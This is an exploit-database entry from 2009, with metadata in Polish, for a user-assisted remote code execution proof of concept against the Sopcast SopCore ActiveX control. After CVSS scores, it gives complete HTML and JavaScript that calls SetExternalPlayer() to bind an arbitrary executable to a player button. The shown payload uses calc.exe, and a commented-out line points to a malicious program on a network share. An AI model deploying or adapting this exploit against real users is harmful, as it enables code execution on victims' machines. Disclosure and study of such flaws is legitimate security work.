Sopcast SopCore Control (sopocx.ocx 3.0.3.501) SetExternalPlayer() user assisted remote code execution poc

2009-03-08 / 2009-03-09
Credit: nospam
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


Ogólna skala CVSS: 9.3/10
Znaczenie: 10/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

<!-- Sopcast SopCore Control (sopocx.ocx 3.0.3.501) SetExternalPlayer() user assisted remote code execution poc by Nine:Situations:Group::surfista (IE7/8) our site: http://retrogod.altervista.org/ software site: http://www.sopcast.org/ Through the SetExternalPlayer() method and the ExternalPlayer property is possible to associate an arbitrary executable to the "external player" button (for clearness see http://www.sopcast.com/docs/ where the player control buttons are showed) which opens Windows Media Player by default. When the user click this button, the executable is launched without prompts Also this value is stored in config.xml, inside the sopcast local folder for further use, ex. with the sopcast client application Note: this control is safe for scripting and safe for initialization --> <HTML> <HEAD> <script language="Javascript" type="text/JavaScript"> window.onload=function() { SopPlayer.InitPlayer(); //SopPlayer.SetExternalPlayer("\\\\192.168.0.1\\c$\\PATH\\TO\\MALICIOUS_ PROGRAM.EXE"); SopPlayer.SetExternalPlayer("c:\\WINDOWS\\system32\\calc.exe"); SopPlayer.SetSopAddress("sop://broker.sopcast.com:3912/6002"); //A LIVE CHANNEL ... SopPlayer.SetChannelName("CCTV5"); SopPlayer.Play(); } </script> </HEAD> <BODY> <OBJECT ID="SopPlayer" name="SopPlayer" CLASSID=clsid:8FEFF364-6A5F-4966-A917-A3AC28411659 HEIGHT=375 WIDTH=375> </OBJECT> </BODY> </HTML> original url: http://retrogod.altervista.org/9sg_sopcastia.html

Referencje:

http://xforce.iss.net/xforce/xfdb/48955
http://www.securityfocus.com/bid/33920
http://www.securityfocus.com/archive/1/archive/1/501252/100/0/threaded
http://retrogod.altervista.org/9sg_sopcastia.html


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